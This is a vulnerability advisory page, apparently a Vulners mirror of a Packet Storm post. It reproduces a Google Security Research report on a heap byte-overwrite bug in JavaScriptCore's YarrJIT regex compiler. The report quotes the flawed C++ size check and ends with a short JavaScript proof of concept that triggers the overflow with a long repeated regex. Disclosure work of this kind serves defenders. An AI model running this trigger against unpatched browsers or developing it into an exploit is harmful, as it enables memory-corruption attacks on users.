Lucene search
K

JSC YarrJIT initParenContextFreeList Byte Overwrite

🗓️ 30 Jul 2019 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 162 Views

JSC YarrJIT initParenContextFreeList Byte Overwrite vulnerability in buffer size validatio

Code
`JSC: YarrJIT: A bug in initParenContextFreeList   
  
  
  
void initParenContextFreeList()  
{  
RegisterID parenContextPointer = regT0;  
RegisterID nextParenContextPointer = regT2;  
  
size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes);  
  
parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize);  
  
// Check that the paren context is a reasonable size.  
if (parenContextSize > INT16_MAX)  
m_abortExecution.append(jump());  
  
Jump emptyFreeList = branchTestPtr(Zero, freelistRegister);  
move(freelistRegister, parenContextPointer);  
addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer);  
addPtr(freelistRegister, freelistSizeRegister);  
subPtr(TrustedImm32(parenContextSize), freelistSizeRegister);  
  
Label loopTop(this);  
Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister);  
storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset()));  
move(nextParenContextPointer, parenContextPointer);  
addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer);  
jump(loopTop);  
  
initDone.link(this);  
storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset()));  
emptyFreeList.link(this);  
}  
  
class PatternContextBufferHolder {  
public:  
PatternContextBufferHolder(VM& vm, bool needBuffer)  
: m_vm(vm)  
, m_needBuffer(needBuffer)  
{  
if (m_needBuffer) {  
m_buffer = m_vm.acquireRegExpPatternContexBuffer();  
m_size = VM::patternContextBufferSize;  
} else {  
m_buffer = nullptr;  
m_size = 0;  
}  
}  
  
  
The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten.  
  
PoC:  
let s = '';  
for (let i = 0; i < 1000; i++) {  
s += '(?:a){0,2}';  
}  
  
let r = new RegExp(s);  
for (let i = 0; i < 1000; i++)  
''.match(r);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
Found by: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation